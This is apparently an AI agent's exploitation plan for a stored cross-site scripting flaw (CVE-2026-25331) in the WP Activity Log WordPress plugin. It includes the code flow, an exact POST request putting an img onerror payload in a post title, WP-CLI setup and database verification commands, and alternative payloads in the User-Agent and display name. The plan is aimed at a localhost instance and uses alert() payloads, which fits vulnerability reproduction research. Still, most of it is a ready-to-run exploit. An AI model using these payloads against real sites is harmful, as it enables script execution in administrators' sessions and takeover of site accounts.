Exploitation Research Plan: CVE-2026-25331 - WP Activity Log Stored XSS

1. Vulnerability Summary

WP Activity Log (formerly WP Security Audit Log) versions up to 5.5.4 are vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize or escape user-controlled metadata (such as post titles, usernames, or user-agent strings) before storing it in the activity log database and subsequently rendering it in the "Audit Log" admin viewer.

While the plugin uses sanitize_text_field in some settings-related AJAX handlers (e.g., WSAL\Controllers\Slack\Slack::store_slack_api_key_ajax), it fails to properly escape the output of event metadata when displayed to an administrator. An attacker with Contributor-level permissions can trigger events (like creating or updating a post) containing malicious scripts in the metadata, which then execute in the context of an administrator viewing the activity logs.

2. Attack Vector Analysis

• Endpoint: wp-admin/post-new.php or wp-admin/post.php (Standard WordPress Post Editor).
• Vulnerable Parameter: post_title (Standard WordPress post title).
• Authentication Level: Contributor or higher.
• Preconditions: The "WP Activity Log" plugin must be active and configured to monitor post changes (default behavior).
• Sink: The "Audit Log" viewer page (wp-admin/admin.php?page=wsal-auditlog).

3. Code Flow

1. Entry Point: A Contributor creates or updates a post.
2. Event Trigger: WSAL\Controllers\Alert_Manager::trigger_event($type, $data) is called by the plugin's sensors (e.g., Post_Sensor).
3. Data Collection: The $data array is populated. For post-related events, this includes PostTitle (from get_the_title($post_id)).
4. Storage: WSAL\Entities\Occurrences_Entity::store_record($data, $type, $date, $site_id) is called.
5. Database Sink: The record is saved in the wsal_occurrences and wsal_metadata tables.
6. Execution (View): An Administrator navigates to the "Audit Log" viewer.
7. Unescaped Output: The plugin retrieves the metadata (e.g., the malicious PostTitle) and renders it into the log table without applying esc_html() or wp_kses().

4. Nonce Acquisition Strategy

No specific plugin nonce is required to trigger the vulnerability, as the attack relies on standard WordPress functionality (post creation) that the plugin monitors.

To verify the exploit as an administrator:

1. Use browser_navigate to wp-admin/admin.php?page=wsal-auditlog.
2. Observe the XSS execution.

5. Exploitation Strategy

Step 1: Inject Payload via Post Title

The Contributor will create a post with a title containing the XSS payload.

Action: Perform an authenticated POST request to create a new post draft.

• Tool: http_request
• Method: POST
• URL: http://localhost:8080/wp-admin/post.php
• Body:

  action=editpost
  post_ID=[NEW_POST_ID]
  post_title=<img src=x onerror=alert("CVE-2026-25331")>
  post_type=post
  save=Save Draft
  _wpnonce=[POST_NONCE]
  

(Note: Use wp post create via CLI first to get a post_ID, then update it via the web to ensure the event is logged correctly by the plugin sensors).

Step 2: Trigger Event

Once the post is saved as a draft, the plugin triggers Event 2008 ("User updated a post"). The malicious title is stored in the wsal_metadata table associated with this occurrence.

Step 3: Admin Views Log

An administrator views the "Audit Log" page.

• Tool: browser_navigate
• URL: http://localhost:8080/wp-admin/admin.php?page=wsal-auditlog

6. Test Data Setup

1. Target User: Create a user with the contributor role.
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
2. Target Post: Create a post owned by the contributor to obtain a valid post_ID and nonce.
   • wp post create --post_type=post --post_status=draft --post_title="Initial Title" --post_author=[ATTACKER_ID]
3. Plugin Config: Ensure WP Activity Log is active.
   • wp plugin activate wp-security-audit-log

7. Expected Results

• The malicious payload <img src=x onerror=alert("CVE-2026-25331")> is written to the wp_wsal_metadata table in the database.
• When an administrator visits the "Audit Log" page, a JavaScript alert with the text "CVE-2026-25331" appears.

8. Verification Steps (Post-Exploit)

1. Database Check: Verify the payload is stored in the metadata table.

   wp db query "SELECT value FROM wp_wsal_metadata WHERE name='PostTitle' AND value LIKE '%onerror%';"
   

2. Log Entry Check: Check if the event was recorded.

   wp db query "SELECT * FROM wp_wsal_occurrences ORDER BY id DESC LIMIT 1;"
   

3. DOM Check: Using browser_eval on the Audit Log page to check for the presence of the payload in the DOM.

   browser_eval("document.body.innerHTML.includes('onerror=alert')")
   

9. Alternative Approaches

If "Post Title" is filtered upon input (unlikely for Contributors), try other logged metadata fields:

1. User Agent: Perform an action while using a custom User-Agent header containing the XSS payload. The plugin logs the user agent for most events in the user_agent column of wsal_occurrences.
   • Payload: Mozilla/5.0 <script>alert('UA-XSS')</script>
2. Display Name: Update the Contributor's "Display Name" to an XSS payload. The plugin logs the display name in several event types (e.g., profile updates).
   • Payload: Attacker<svg/onload=alert(1)>